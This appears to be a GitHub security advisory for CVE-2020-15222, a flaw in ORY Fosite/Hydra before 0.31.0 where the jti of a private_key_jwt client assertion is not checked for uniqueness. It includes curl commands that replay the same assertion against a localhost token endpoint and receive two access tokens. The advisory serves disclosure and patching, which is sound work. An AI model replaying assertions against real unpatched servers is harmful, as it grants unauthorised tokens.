Headline
CVE-2020-15222: Build software better, together
In ORY Fosite (the security first OAuth2 & OpenID Connect framework for Go) before version 0.31.0, when using “private_key_jwt” authentication the uniqueness of the jti
value is not checked. When using client authentication method "private_key_jwt", OpenId specification says the following about assertion jti
: "A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties". Hydra does not seem to check the uniqueness of this jti
value. This problem is fixed in version 0.31.0.
Impact
When using client authentication method “private_key_jwt” [1], OpenId specification says the following about assertion jti
:
A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this jti
value. Here is me sending the same token request twice, hence with the same jti
assertion, and getting two access tokens:
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Do not allow clients to use private_key_jwt
.
References
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication